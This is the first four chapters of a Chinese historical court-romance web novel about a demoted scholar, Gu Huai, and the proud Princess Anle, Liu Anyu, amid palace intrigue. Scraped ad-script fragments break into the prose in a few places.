《折骨》 1. 01 文德殿 “安乐郡主,今日便聊到这里,且先回罢。”左相端坐在书案旁,他刚下了朝便被安乐郡主截下,身上官服还未换回。 书案上是沏好的茶,水汽氤氲,香炉中的烟色浅淡,烟气缭绕上升散出淡淡的香气。 左相伸手想拿过她的书卷,却发现另一头被她稍用力捏住。 “先生。”她眉眼清冷,缚着宽袖搁下笔,抿唇有些不愿,“学生愚钝,这一处,不是很懂。” 她细长的指尖抵在卷上一处,顺势将书卷护下。 郡主好学,她私向左相请教谋略权术,尊他一声先生。左相却并不承认,只说是闲聊。他顺着她手指处看去,是前年一卷宗案,他随笔落的评语。便知她是听得意犹未尽,还不想走人。 左相松开手,平声劝道:“郡主,近日雨勤,路上湿滑,趁着天光甚亮,您......” 咚咚两声。 门外丫头通传,“大人,顾公子来访。” “进。”左相话被打断,顿了顿应声。 随着门被推开的嘎吱声,安乐郡主抬起头,只见一双骨节分明的手撩开门帘,探出一抹月白色的衣角。 屋外的凉风趁机袭进来,吹得她打了个寒噤,她下意识裹了裹外披,琥珀般清浅的眸子定了定。 那人长身玉立,有些清瘦,一双墨眸清冷,银冠将长发束得一丝不苟。他随手将油纸伞搭在门口,怀中捧着三两卷书,眸光落到安乐郡主身上时闪过一瞬诧异。 “成玉。”左相明显带了喜色,冲人招招手。 左相将手搭在那人的肩膀,声调微扬为其介绍,“郡主,这是臣的得意门生,顾淮,字成玉。” 顾淮连忙放下书卷,不急不缓地拱手行礼,“见过郡主。”他眉宇间是难掩的书卷气,举手投足,彬彬有礼。 他知道这位郡主—— 燕王柳寅怀之女,柳安予。 柳安予降生时,国师卜卦,题了十六字。 【天资卓绝,难得慧心。】 【命途多舛,煞气缠身。】 柳寅怀心尖微颤,却还是爱屋及乌占了上风,当夜便入宫向皇上请了个封号,想用这帝王之气压一压她命中的“煞气”。 皇上便取了“安乐”二字赐下来,准她养在长公主身侧。 不知是帝王之气着实好用,还是国师卜卦的结果有些偏颇,柳安予长到及笄,也并未出过什么差错。 反倒是她聪明伶俐,极讨柳寅怀欢心。更不必说她是一众郡主里,唯一一个打长公主宫里养起来的,这宫里宫外,便也多敬着她几分。 顾淮朝她行礼,不等到点头不敢起。 柳安予睫羽轻颤,她眨眨眼,冷声回了句,“免礼。”只一瞬,柳安予便收回了目光。 她没少在左相口中听到他的名字。 他是左相的爱徒,为皇帝精心挑选的护君刀—— 议郎给事中顾明忱之子,顾淮,顾成玉。 得、意、门、生......柳安予沉眸翻了一页书,朱唇抿成凉薄的直线。 刺耳。 左相叫人给顾淮抬了桌案过来,倒也忘了方才遣柳安予走的事情,他翻阅着顾淮的文章,眉眼渐渐舒展,屋子里落针可闻的安静。 柳安予像是被忽略了似的,她讨了个没趣,敛眸撇开目光重新落回书卷上。 她的指腹泛着淡淡的白,捏着书页却一个字都看不进去。 风渐大,树枝噼里啪啦甩在窗棂上,嘀嗒,嘀嗒,雨水打湿地面,细细密密的雨滴汇聚成一滩滩小水洼。 “成玉,你这里说除匪患,用狼兵。狼兵乃地方武装,一旦无匪可剿,这些兵力并不可控......”左相把他的文章递到他手边,柳安予有意打量,上面尽是朱砂批改的密密麻麻的端正小楷。 “先生,为何不能选择骁勇绝群,胆力出众者组成精兵剿匪?”柳安予沉思片刻后,适时出声,左相一愣,挺直脊背捋着胡须思忖。 顾淮顺着声音望过去,见柳安予神情认真,便不动声色地收回目光,指腹无意识地摩挲着宣纸,也在想柳安予的话。 “郡主有理,成玉,江州匪患如今正猖,你今日回去,再细想想,若是可行......”左相只顾着同顾淮交代,忘了一旁的柳安予。 柳安予看向那文章上细细密密的朱砂小楷,含霜眸光渐渐淡漠,变得隐晦不明,脊背生出冷寂。 顾淮应了声“是”。她合上了书。 柳安予不懂,她看过的书,不比顾淮少,她写过的策,不比顾淮差。 顾淮苦读,红袍加身、今科状元,而她,却连参加科考的资格都没有。可她的抱负,也是于民于朝,她的胸怀,也是祈国泰民安山河锦绣般的辽阔。 她分明也能做护君刀。为何,不肯如此教她? 脊背生出冷寂,她捏紧了袖缘。 “先生,天色将晚,我便先回了。” 这次不必左相赶,柳安予扶膝站起,礼貌拢好披风拜别,转身瞬间,清寒的眸子泛冷。 她自会证明,她比顾淮强上千倍百倍。 顾淮匆匆瞥了一眼窗外暗色,目光顺着柳安予的背影移动。 雨水顺着屋脊哗哗砸在地面,溅湿了她的裙摆。柳安予伸手去接,冰冷的雨滴坠在她掌心,将寒气一点点渗进。 一把油纸伞自她头顶撑开,伞面遮住檐下雨。 她愣了一下,倏然抬眸对上了一双如墨透亮的眸,是顾淮,柳安予琥珀般的眸子闪过错愕,又转瞬带着防备。 顾淮抓着伞向她的方向倾斜,以为柳安予是被自己唐突吓到,神色一错,定了定神眉心微动,笑容渐渐从他唇角逸散开来,犹如室中刚沏好的热茶,水汽氤氲,溢出茶香。 “天色将晚,微臣也不便多留。”顾淮温和笑笑,开口解释,“郡主还要赶宫禁,这雨却不近人情,若不嫌弃,先用微臣的伞如何?” 柳安予本想拒绝,耳畔突然传来雨水的哗哗声,凉气吹来迫使她裹紧披风,她白皙的脸颊上冻得透红。 她点头致谢。 “那便多谢顾公子借伞,改日,顾公子可到郡主府,登门领赏。”她尾音停顿,微仰起伸手接过油纸伞,冰凉指尖一瞬触碰他温热的掌心,触之即离。 柳安予一句“领赏”,让顾淮看清了二人之间的距离。 顾淮听懂了她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的意思,敏锐地感知到她的戒备,但好在,她没有真的拒绝。 柳安予微仰起精巧的下巴,毫不掩饰自己的针芒,她生得极美,一颦一笑勾魂摄魄,却并不媚俗。青黛柳叶眉舒展,纤细的指尖拢好素色披风,整个人犹如清晨叶露折射出的剔透颜色,清冷坚韧。 “郡主客气。”顾淮像是听不懂她言语中的明褒暗贬,不动声色地让了些位置,倒是声音温柔。 “您打伞先走,臣在檐下,等雨停。” 阴云布满天空,空气却因雨水的冲刷并不沉闷,柳安予撑伞走进雨里,细细密密的雨滴打在油纸伞的伞面,顺着伞脊聚成大滴大滴的晶莹,像剔透的珠帘,装饰着柳安予锦绣压纹的素色裙摆。 她腰间坠着温润雕荷白玉,下面系着浅褐色的穗子,随着她在雨中紧跨的步子摇曳。 柳安予刚走出几步,便迎上了前来接她的青荷。 青荷心细,见雨势又起便急忙备车来接,也不打扰柳安予,来了便在门外不远停着,只等柳安予听够了学够了出来。 “郡主!”青荷拿出白绒斗篷将人裹了个严实,只露出她一张清丽的小脸。 柳安予的脸颊蹭过斗篷毛茸茸的边角,隔着雨幕匆匆一瞥,只瞥见顾淮月白色的长衫上的淡绿竹纹,便搭着青荷的手弯腰躲进马车。 青荷撑着一把绘梅枝的淡黄色油纸伞小跑过来,将顾淮的伞塞进他怀里,“雨势渐大,公子快些回去吧,奴婢代郡主同公子道声谢,便不多叙,这边且走了。” 不等顾淮回话,青荷撑着伞又小跑回去,一溜烟儿钻进车里,车夫一声“驾”,抖开缰绳,车轱辘滚过水洼溅起冰凉的雨水,带起的风半掀车帘。 顾淮看见了柳安予嘴角转瞬即逝的笑。 半晌,他慢慢撑起伞。 抬伞的刹那,他眼前倏然站满了人,顾淮的小侍柏青慌慌张张地踩着水坑过来,扑通一声跪在他面前。 “公子,不好了!”柏青声音颤抖,“老爷他......入狱了。” 他的话砸进雨里,还未听到回音,皇帝身边最得脸的那个大太监,孙公公,便紧随其后。他挥挥手,内侍一拥而上,将左相府内四壁封死,不似牢狱,胜似牢狱。 顾淮还没反应过来,只见孙公公展开圣旨,左相信步从他身后走来,将手中书卷往顾淮手里一塞,坦荡荡地去接了旨意。 “只可惜,老师怕是要连累你。” 顾淮手中的油纸伞倾倒砸进水洼,左相按下他的肩膀,两人俯首跪在圣旨面前。他垂头听着,任由雨水打湿袖缘,雨水顺着湿哒哒的袖子滑进他的掌心。 顾淮紧紧攥着掌心的雨滴,等回过神来,他身侧早空,指尖已经攥得发白。 抬伞落伞间,父亲下狱,左相禁足,今科状元,降为探花。 “公,公子?”柏青试探性地挥了挥手,将人意识拉回。 他紧张地咽了咽口水,多说多错,他不知道顾淮心里打的什么主意,便诚惶诚恐地又在自家公子面前跪好,不敢出声。 良久,顾淮垂下了手,踉踉跄跄地撑着腿站起来,神色无异地开了口。 “柏青,我要面圣。” 2. 02 文德殿 阴雨连绵不断,天空积蕴着灰白色的乌云,雨水将地面浇湿,文德殿外有一条通过来的小路,尚未修缮完成,被雨水浇得泥泞。 柳安予一手提着裙摆,一手搭在青荷的小臂上款款走过来。 樱桃在一旁为她撑着伞,泛黄的油纸伞上绘着清傲寒梅,精巧别致,一看便不是寻常人家用的伞面。 在那个阴沉的雨天,她第二次见到顾淮。 一个清瘦颀长的身影跪在文德殿外,身上青衫被雨水打透,紧贴在他薄薄的肌肉上。 豆大的雨珠砸得他睁不开眼,水珠从他的发丝一路滑落到紧绷的下颌,他在认错,却不曾低头。 皇上被他扰烦了,遣孙公公出来打发他,人搭着拂尘走出,步子迅疾,不甚耐烦地瞥了他一眼。 “太医,快叫太医——”孙公公高声喊了一句,低头对他的态度倒还平和,“皇上现下心悸,着实腾不出空来见你,顾探花还是改日——” 他拂尘一扫,朝旁边瞥了一眼,两旁侍卫便立即上前,双手死死钳住顾淮的臂膀。 顾淮手指死死扣住地面,指腹被拖在粗糙的地面上磨出血渍,一时失态,不顾形象地大喊,“皇上——微臣不服——” 孙公公恨恨咬牙叫骂,“敢扰文德殿清净!你有几个脑袋够砍?” 他颤巍巍抬起拂尘指着他的鼻子,叫人赶快将人拖走。 “左相之策安民......江州马道被匪患所扰,派兵镇压还是来人安抚,皇上总要拿个主意......” 顾淮的身子被拖得发坠,狼狈不堪,仪态全无,一身干净青衫染泥,被人像拖垃圾一样拖在地上。 “为什么禁左相的足?为什么下家父的狱——”顾淮目眦欲裂,颈侧青筋暴起,固执地一遍遍高声询问着。 侍卫手忙脚乱按住挣扎的顾淮,却见他喉咙哽咽,嘴唇忍不住哆嗦起来,声音断断续续,“臣只是——想要个公道——” 大雨倾盆下得急,哗哗声不绝,掩盖了他歇斯底里的质问。 文德殿平静得仿佛什么都没有发生,没人理会他。 顾淮缓缓闭上眼睛,任由侍卫将他拖走,眼睫不住地颤抖,冰冷的雨水打在他脸上,一点点浇灭他炽热的心脏。 突然,侍卫停了下来,恭敬地朝一个方向作揖。 一双精巧的绣花鞋停在他身边,世界大雨骤停,一把绘梅油纸伞微微倾斜,替他挡了雨。 “安乐郡主,长公主的寝宫不在这边。” 柳安予没有搭话,居高临下地看着顾淮,一双琥珀瞳眼波流转,恩赐般落在顾淮身上,清冷的音色在雨中分外清楚。 “好歹也是探花郎,怎么活得这么狼狈。” 这句话说得刺耳。 他是罪臣之子,既是从今科状元降为探花,便不觉得探花郎含夸赞之意。 他冻得苍白的脸气得涨红,倒也算添了抹生气。 不等他开口,柳安予朝旁边青荷递了个眼神,青荷连忙打开食盒。 桃花糕刚刚出炉,还带着些热气,柳安予大发慈悲捏起一个,拢袖收裙蹲下。 油纸伞仓促倾斜,几滴雨水沾湿了她的薄肩。 香甜的味道萦绕在鼻尖,柳安予伸手捏住他的下颌,以强硬的姿态将桃花糕缓缓推进他的口中。 柳安予微凉的指腹摩挲过他的唇,顾淮瞳孔微缩,心跳在这一刻变得缓慢,莫名的口干舌燥。 桃花糕入口即化,甜得齁人,顾淮忍不住地舔了舔唇,双眸直勾勾地看向伞下那人冷白的脖颈。 雨珠顺着伞脊滑下,她轻捻指尖,缓缓起身接过樱桃递来的帕子,细致地擦手。 “吃了我柳安予的糕,便是我柳安予的客。” 顾淮接连咽了几次,才终于将口中的桃花糕咽下,仓促抬起头,再次望向雨中高高在上的她。 四目相对,漆黑微冷的眉眼对上清浅如琥珀的双眸。 柳安予秀眉微挑,声调抬高。 “长公主殿下许我在御花园的亭子吃茶赏雨,听闻顾探花棋艺一绝,不知......可否赏脸,对弈一局?”她语调轻微上扬,虽是询问,语气却肯定。 柳安予这话是说给孙公公听的,便不等顾淮回答,撇开眼转过身,端袖垂眸朝向孙公公,叫了一声。 “孙公公。” 孙公公连忙作揖,“郡主抬举,咱家给郡主多拿把伞。” “那便多谢孙公公了。”柳安予微微颔首勾唇,眉眼清冷。 她眸色过浅,看起来宛如琥珀清透,不掺杂过多的情绪。 她,是在救我? 顾淮睫羽湿润,眨了眨眼掩下情绪。 如今左相出事,柳安予做不了什么,偶知今日顾淮在文德殿外撒泼。她知皇上脾性,平日说是贤君,一旦惹急了,顾淮未必有命。 所以柳安予选了个折中的法子将顾淮带走,全他脸面,也不妨碍孙公公遣他离开,孙公公自然乐得卖她这个人情。 大雨倾盆,柳安予步子轻而稳,鬓间金玉步摇轻轻摇曳,她的耳垂圆润饱满,雨天寒凉,冻得她耳尖泛着淡淡的粉色。 金镶珠翠,荷花纹粉碧玺为托,颗颗珍珠作流苏饱满精致,荡在她颈窝上方,衬得白璧一样的肤色十分乍眼。 顾淮清瘦如竹,骨节分明的文人手抓着伞柄,乖顺地跟在柳安予后面。 她走一步,他跟一步。 青衫沾泥,袍缘乌黑,顾淮浑身已然湿透,撑不撑这把伞,没甚区别。 他的眸炽热、探究,远不似表面温和。 顾淮带有警惕的眸子滑过柳安予耳坠的翠珠,一寸寸掠过裸露出的白皙肌肤,看向她垂下的乌黑长发,沾染丝丝雨水,像绸缎似的。 “看够了吗?”柳安予倏然顿停,羽睫微颤,敛住一半浅眸。 她下巴微微抬着,眉目间波澜不惊,冷冷地牵起一抹嘴角,仿佛在两人间划下一道永远不可跨越的鸿沟。 “看来是我多管闲事了,早知,顾探花如此,方才那块桃花糕,就该孝敬给孙公公。” “是微臣逾矩。”顾淮连忙低头。 “呵,逾矩?”柳安予一声轻笑,音色格外好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 听。 长公主殿下早早就叫人把御花园的亭子收拾好,棋局已备,侍女烹茶。 柳安予拂袖施施然落座,一眼都不再吝啬,樱桃收伞轻瞥一眼顾淮,狠狠甩了甩伞面上的水,溅了他一身。 顾淮却出奇地乖顺受着,大雨渐小,又变成蒙蒙细雨,沁着寒气。 顾淮四肢百骸无一不冷,牙齿忍不住地打颤,收了伞在亭外淋着雨。 柳安予慢悠悠地喝完了一盏茶,才抬眸唤他。 “顾探花这是做什么,不知道的,还以为是我罚你。” 见柳安予心情颇好地勾了唇角,青荷眼观鼻鼻观心,这才站在亭子檐下朗声出言。 “郡主叫顾探花进亭躲躲雨。” 顾淮动了动耳朵,蹒跚着步子走进来,青衫拖在地上留下一道水痕。 有了前面的警告,顾淮不敢再看她,俯身贴地,行了跪礼。 “多谢郡主,今日若无郡主,微臣不会全须全尾地走出文德殿......”他声音不徐不疾宛若清泉,柳安予却没怎么在听。 “你抬头。”柳安予慢悠悠地点他。 都说新任探花郎有个好皮囊,所言倒是不假。顾淮眉眼如削,睫毛纤长卷翘,一双内勾外翘瑞凤眼,眼下一点痣,眸色清透却看谁都深情。 柳安予蓦然莞尔,指如葱白,用食指和中指夹住棋子下在棋盘的右上角,脊背笔直,语调轻微,“既说下棋,便不是托词......顾探花该落子了。” 亭外小雨淅淅沥沥打湿了台阶,青荷拿了白绒披风给柳安予搭上,隔绝寒气。 “郡主,姜汤。”樱桃半跪着温声端上。 柳安予喝下一口,辛辣甜热的汤汁暖腹,她敛眸放下碗,抬手又落了一子。 “你输了。”柳安予挑眉意外。 顾淮的指腹摩挲了一下光滑的棋子,又放回棋奁里,“......是臣输了。” 柳安予一眼看透,兴致缺缺地起身,拢了拢披风嗤笑,“文德殿外敢高声质问皇上,千劝万劝不肯让。舒云亭内同我下棋处处留手,顾探花,黑白对弈,竭尽全力才算尊重对手。” “樱桃,给顾探花也端一碗姜汤。”柳安予的手搭在青荷的小臂上,随意吩咐樱桃,顾淮跪地稳稳地接过,抬眸却只瞥到一抹青色的裙角。 “今日救你,既是看在左相面子,也是还了那日借伞之情。如今雨也赏了,棋也下了,喝完这碗姜汤,顾探花便回去罢。” 柳安予的声音清冷,说实话,她很失望。她不明白,就这样一个不懂得顾全大局的人,为什么能超越她,得左相青眼。 “微臣,谢恩——” 顾淮眸光稍暗,俯下身去,说话声音很淡,淡到砸进雨声里,听不真切。 顾淮坐在观云亭里喝完了那碗姜汤,碗壁温热贴着冰冷的指腹,过了许久,柏青撑着伞站到了顾淮旁边。 “公子,可以去见左相了。” 顾淮放下碗,捻着光滑的棋子轻轻放在棋盘上。 一子落,而全盘活。 “走。” 3. 03 文德殿 左相的府邸四壁被封起,是那日宣圣旨时,粗制滥造的工程,封得不严,雨过天晴,难得的曦光透过缝隙洒在书案上,左相弯腰凑过去,惬意地看着手中书卷。 须臾间,身侧来了人,小侍送了午膳进来,将白瓷小碟一个个放在左相手边,身后门虚掩。 左相放下书。 “成玉,你来得倒早。”他没多少惊讶,抬眉道。 扮成小侍的顾淮抬起头,促膝摆好瓷碟,他顿了顿,又低下头去无用功地避着左相的骂,“先生,先用膳吧。” 左相没有动筷,眸光微沉看向顾淮,没头没尾地来了一句,“君子不立于危墙之下,成玉,你下了步险棋。” 两人不约而同地噤声,在光线晦暗的房间里,对视一眼。 左相知道顾淮都干了什么。 江州马道匪患猖獗,江州刺史多次上书奏明此事,却不知被谁压下。直到江州流民血溅登闻鼓,这事才被抬到明面上来。 左相即刻拟了治匪要案,不等皇上定夺,竟有数十人上奏请命,愿践左相治匪诸条。 勇略震主者身危,支持左相一派,无一幸免。尤议郎给事中顾明忱、今科状元顾淮父子二人受牵连最重。 顾明忱朝上谏言,公然支持左相,皇帝虽未露出半点不喜,却以监察兵部军事镇压之由,转头将人派去了江州。未出半月,便以“通匪”的罪名下了狱。 顾淮不知其中究竟是谁的手笔,但不可置否的是,这个由头正中皇帝下怀。皇帝以“结党营私”的罪名将左丞禁足,连着一起宣了顾明忱获罪的旨。 顾淮倒算是无妄之灾,因着是左相爱徒,又是顾明忱膝下独子,将他从今科状元降为探花,一为警示,二也为架空。 皇帝多疑,左相位及人臣,“一呼百应”,削他臂膀还唯恐不及,又怎肯亲手将顾淮送进朝堂。但顾淮之才非虚,其身无过,一个“罪臣之子”的罪名还不足以让皇帝将人按死在朝堂外面,因而将人降为探花。 皇帝子孙繁盛,有子三人,大皇子李璟、二皇子李琰、七皇子李玮;有女数十位,其中适龄却尚未婚配者,九人。 探花多为驸马备选,而永昌驸马,其不可任实职,已有官职驸马甚至要辞去原有官职。倘招顾淮为驸马,纵顾淮再有能力,也终将泯然于世。 明面上,挑不出错处。 故而顾淮走了一步险棋—— 文德殿殿外犯颜苦谏,君前失仪。不是他魇了,而是在这场大戏里,他要先发制人,演一个虽天资聪颖、却不通世务的——“愚者”。 势单力薄之际,敛翼待时,确是妙计。 但左相对这个法子,不甚满意。 犯颜苦谏、君前失仪,如此形象一旦在皇帝心里建立起来,日后再想挽回,比登天还难。左相不想顾淮因小失大,可事已至此,既是爱徒,左相便也不忍多苛责顾淮。 他看着顾淮听训的乖顺样子,无可奈何地叹了又叹,“罢了,你日后要怎么走,可想好了?” “回先生,徒儿想解您的禁,为父亲翻案。”他迟疑一瞬,字斟句酌地开口,“在此之前,徒儿绝不能被招为驸马。” 左相眉峰一蹙,思忖了须臾,缓缓道:“有一人,可解此局。” 顾淮脑海里也浮出一个名字,他眸子漆黑有如墨染,全神贯注地听着左相的答案。 果然,不出所料。 “燕王柳寅怀之女,安乐郡主,柳安予。” * “安乐,你去看他了?”长公主殿下轻点口脂,侧头微笑看她,发丝垂下铺到腰间,多了几分平易近人。 柳安予知道她说的是谁,指尖一顿,本也没打算瞒,索性坦荡荡地应声,“是。” 她放下笔,低眉起身从铜镜前拿起雕花金玉梳为长公主顺发。 “听说,你还从孙公公手里抢人。”长公主看着铜镜中柳安予映出的脸蛋儿,无奈勾了勾唇角,“你呀你,都被本宫惯上天了。” “殿下,您就别打趣我了。”柳安予缓缓为她插上了一支金簪,微敛眸光,“不过是左相之托,顺手事情罢了。” 长公主不太理朝事,提了一嘴见柳安予没甚反应,便也兴致缺缺,只蹙眉叮嘱了一句,“左相近来人盯着呢,你少与之来往。”便转头将话头揭过。 柳安予轻“嗯”一声,细心低头将她颈间碎发一一拢好,垂睫有一搭没一搭地答着话。 “你也老大不小了,是时候该说个亲。你母亲近日来本宫这勤,提了好几回。本宫便拟了个折子,挑了些才俊,你得了空也看看,对自己上点心。”长公主拉过柳安予的手,拍了拍她的手背,倒显出些长辈的语重心长。 柳安予却不爱听。 “殿下。”柳安予微微抿唇,半蹲下来将下巴搁在她的腿上,碎发乖巧地贴在脸上,“安乐还想在您身边多待上几年,不想着做谁的妻。” 长公主轻轻揉了揉她的头,揶揄地说道:“你呀你,小鬼头,话说得花一样漂亮。” “可人哪能永远独一个?本宫也不舍得将你嫁出去,只是你母亲那边......”长公主点到即止,话没说完,柳安予却听得明白。 柳安予眉眼清绝,琥珀眸含露一般,手指在她膝上画圈,让人不忍拒绝,“折子我会看,但殿下,能不能答应安乐。” “答应什么?”长公主抚摸她发丝的手一顿,挑了挑眉。 柳安予从她怀中钻出,微仰着下巴,细长的眼尾微微上扬,“让安乐——自己选。” “好好好,那就都依你。”长公主无奈答应,眸中满是宠溺地点了点她的鼻尖,“谁叫本宫最疼你。” 柳安予抿唇带了点笑意,达到了目的,她便起身将折子妥帖收起,转头点了香,“殿下,二月初一,皇上赐的那些龙涎香熏完了。我换了沉香,行气止痛,纳气平喘。” 她言语关切,“最近雨勤天冷,您多披些厚衣,恐染了风寒。” “还是你心最细。”长公主满意地看了她一眼,端坐在妆奁前弯了弯唇,“过会子,你留下用个午膳,许久不来,本宫心里惦念。” 柳安予指尖稍稍一顿,“是。”眼中的笑意顺着敛眸淡下去,沉香渐渐燃起缭绕上升,逐渐模糊了她的眉眼。 长公主想为她选婿,不是只说说而已。 五月初,难得一日晴。 长公主特地在宫内的四宜园,设了个荔枝宴,将名帖上的才俊邀了个遍,还特设了一院女席,凡京城内的适龄小姐,皆可出席。 柳安予一早便看见樱桃送来的盘金彩绣绮云裙,旁边还放着一套金嵌宝石头面,珠光宝气,璀璨夺目,看得柳安予太阳穴犯疼。 “殿下送来的?”柳安予微微蹙眉,虽是问句,语气却肯定,见樱桃乖巧地点点头,无奈按了按眉心。 “郡主,殿下疼您,上次送来的鎏金点翠那套您没戴,殿下不知道有多伤心.....”樱桃咬唇,怯怯开口,话未说完便被青荷一记眼刀噎下去。 青荷靠过来挡在两人中间,眉梢微挑地捻起一角绮云裙,朝柳安予的方向展开一截 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“郡主您瞧,这颜色多衬您,就是墨发了无饰,和今年新荔比一比——” 青荷杏眼滴溜溜一转,故意停顿,“也是郡主您风华绝代,腮胜粉荔——”紧跟着一阵轻笑。 “青荷!”柳安予微微轻挑着眉,方才紧蹙的眉头倏然舒展,手指轻轻地梳理着发丝,叫了一声她名字。 青荷也不惧她,帕子掩唇笑弯了眼睛,连带着柳安予的心情都好了起来。 接下来青荷再说什么,柳安予倒也听得进。 “奴婢错了奴婢错了。”青荷笑意不减,她将绮云裙捋好,不动声色给樱桃递了个眼神,樱桃一怔,连忙反应过来为柳安予更衣。 青荷侍在一旁,从随身的小册子中挑出一页给柳安予看,上面是描好的垂鬓分肖髻的图样,青荷弯唇一笑,“郡主,奴婢瞧着,这个式样最配这条盘金彩绣绮云裙。再从这套金嵌宝石头面挑个几样,不至于繁琐,也全了殿下心意,您看如何?” “就依你罢。”柳安予嗓音轻缓。 她鲜少穿这般明亮的颜色,平日青色、月白的样子穿得多,这冷不丁一换,倒叫人眼前一亮。 盘金彩绣绮云裙包裹住她纤细的腰肢,衬得她瓷白的肤色暖和许多,她就那样静静地站着,眉眼清冷,任由樱桃为她系上雕荷白玉坠。 嫣红的口脂自她唇中晕开,像霜雪覆盖不住的红梅,朱唇未动,先觉口脂香。 不艳、不俗,是自荷花蕊心淡淡逸出的香气。 青荷撩开轿帘,清风轻拂过湖面,引得湖中荷叶轻摇,淡粉色的荷花花骨朵儿星零冒出几个,粉影在泛起涟漪的碧绿湖面上碎成几片。 四宜园内,清流掩映,一盘盘新鲜的荔枝犹如小红灯笼,轻轻剥开外壳,现出一丸剔透脂冻。每桌旁侍着一位青衣侍婢,净了手,半跪在宾客身侧剥荔枝,剔去果核,恭恭敬敬地夹到宾客的小碟里。 柳安予搭着青荷,轻移步子,束着一圈圈红线的髾尾垂在肩上,一走一过轻轻摇曳,别样的袅娜灵动。 她一出场,便引着所有人的目光。 长公主方才还倚在椅边,此刻倏然坐正,登时喜不自胜,冲柳安予招了招手。 “乖孩子,到这来。” “殿下。”柳安予垂眸行礼,身子还未降半,便被起身走下来的长公主托起。 “你与本宫之间,不必如此生分。”长公主拉着她的手,唇角笑漪轻牵,看过来时满眼骄傲。 她无子嗣,也未招驸,年岁长些时便养了柳安予,对她是宠也是疼,教到如今这般亭亭玉立,不是生母,胜似生母。 她牵着柳安予,将人牵到自己座位旁边,底下公主、郡主和小姐坐了三两排,都次柳安予一位。 “你尝尝,今年新荔甜不甜。”长公主将呈着荔枝果肉的小碟子往柳安予面前推了推,眼眸温和,手上捻着一柄玉兰团扇,掩着唇同她低语,“安乐,东边那些,都是按帖子上的次序往下坐的,你一路过来,没瞧瞧?” 柳安予这时才抬眸看过去,潦草扫了一遍,却意外看见了一个本不应出现的人。 “他也是帖子上的?”柳安予秀眉微挑。 顺着柳安予的目光,长公主疑惑着向下看去,最末的位置,一人坐得端正,身着靛蓝竹绣交领袍,新叶拂肩,神情泰然自若。 似是注意到这边打量的目光,顿下来,眼眸温和,抬手敬了杯清酒。 迎着那人的目光,柳安予眸子越挑越翘,唇角微不可察地一勾。 “顾淮?他怎么在这儿?” 4. 04 荔枝宴 长公主眉头紧蹙,抬手叫了掌事来问。 “回殿下,是皇后那边添的名字。”掌事姑姑附耳过来。 “明眼人都知道本宫这荔枝宴是甚么意思,怎么,她家那个淑宜急着招驸马?”长公主向来瞧不上皇后所出的那个六公主李淑宜。 后妃算计,子嗣难衍,皇后前后折了两个孩子,就这位六公主命大,从吃人的后宫里安然长到现在。皇后纵得太过,便使得李淑宜年纪不大,做事却狠辣自私,又没甚么脑子,几次三番顶撞到长公主。 最初皇后还想将李淑宜往长公主宫里送,自被拒绝后便处处拿李淑宜同柳安予比,偏李淑宜不争气,处处输与她。长此以往,李淑宜对柳安予便也没甚么好脸色。 柳安予默了默,道:“顾明忱虽下了狱,却还未把罪定死,朝上想为其翻案的人不少。若是成功翻案,既有顾淮探花郎的名号在,又是清流世家,自然是名门贵女趋之若鹜的好郎婿,驸马的好人选,公主们都盯得紧呢。皇后借您的荔枝宴,为李淑宜顺水推舟卖顾淮一个人情,自然无可厚非。” 长公主听罢冷哼一声,“她李淑宜,也就配挑挑我家安乐不要的人。穿得花枝招展的,活像只花孔雀。”她不屑地掩唇讥笑。 像是特意模仿柳安予,李淑宜今日也一身盘金彩绣绮云裙,只是绣花过满。三朵嫣红的大牡丹在胸口绽放,底色又是夺目的赤红,配上满头金钗珠玉,本有几分姿色的人,也被生生压丑了几分。 柳安予没搭腔,亲手为她剥了颗荔枝递过去,“殿下,您也尝尝。” 长公主顿时移开目光,接了荔枝不再说话。 柳安予敛眸,拿帕子轻轻擦拭着指尖。 不像是皇后卖顾淮人情,倒像是,顾淮特意求的人情。 她不动声色地抬眸,蓦然撞上了顾淮直勾勾的眼神,她毫不露怯,挑衅似地迎上他的目光。 顾淮,你到底想干什么? 为了让柳安予和那些世家公子多接触接触,长公主特地在四宜园北面池边小亭,摆了投壶的场地。 少有人是为了吃这几颗荔枝来的,一听有投壶,公子小姐便都赶着去了,柳安予倒是不紧不慢,看得长公主着急。 “你若喜欢,赶明儿本宫叫人送几株荔枝给你,这人都快走光了。”长公主蹙眉道。 柳安予抬眸扫了一眼坐得稳如泰山的顾淮,唇边勾起一抹笑,转头道:“殿下,您先过去,我用完这点一会儿就去了。” 长公主拗不过她,“得得得,说不动你。”顺手将自己那碟也推到柳安予面前,起身不忘叮嘱,“别用太多,仔细上火。” “是。”柳安予笑笑。 一丸丸剔透果肉摆在碟中,柳安予捻着一根细长的银叉,叉起果肉送入口中,晶冻似的果肉与她薄红的唇瓣形成鲜明对比。 “郡主,怎么不过去?”顾淮停在阶下,身长玉立,温润端方。 柳安予微顿,缓缓仰起头,眼神犹如冻结的湖面,翻不起波澜,冰层之下,却藏着深不见底的暗流。 她不喜欢这个角度,便坐直身体,与阶下顾淮平视。 “你来,想必也不是为了吃这几颗荔枝。”她轻飘飘地丢出一句话,莫名带着一股子疏离,捻着银叉又往嘴里送了一颗荔枝肉。 顾淮垂了下眸,转而又神色温和,他弯下身子伸出手,青荷防备似地想阻止他动作,却被柳安予一个眼神制止。 顾淮骨节分明的手拎起茶壶,缓缓地,半跪着为柳安予斟了一杯茶,淡褐色的茶水汩汩流进琉璃茶盏里,水雾腾起,热气直扑。 方才还是二人平视,此刻,顾淮甘愿低下头颅。 他生得好看,容止端净,微风拂过轻轻掀起他的袍角,绿叶落肩,升腾的水雾打湿了他浓密的睫羽,一双瑞凤眼眨了眨,也似带上水雾。 确实好看。柳安予没忍住多看了几眼,等顾淮后知后觉抬了眸,她才不动声色地收回目光。 “郡主,您用茶。”顾淮眼中带着希冀,冷白的指尖捏住茶杯缓缓抬起。 琉璃不隔热,柳安予盯着他渐渐泛红的指腹,倏然唇角一勾,逸出一抹笑意,如春风拂冬雪,叫人移不开眼。 